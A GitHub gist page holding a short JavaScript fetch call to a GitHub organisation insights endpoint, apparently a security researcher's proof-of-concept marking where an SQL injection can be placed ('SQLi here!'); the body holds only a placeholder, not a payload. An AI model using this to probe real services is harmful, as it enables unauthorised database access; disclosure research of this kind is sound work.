Created
December 31, 2023 08:43
-
-
Save irsl/fdd126bab61ea22fd42ce6a6f2cffbb6 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
fetch('/orgs/irsleorg/insights/org_issue_trend_data', { | |
method: 'POST', | |
headers: { | |
'GitHub-Verified-Fetch': 'true', 'Content-type': 'application/json' | |
}, | |
body: JSON.stringify({repos: "arbitrary-string-here"}), // SQLi here! | |
}) | |
.then(response => { | |
console.log("response", response) | |
return response.text(); | |
}) | |
.then(body => { | |
console.log("body", body) | |
}) | |
.catch(error => { | |
console.log("error", error) | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment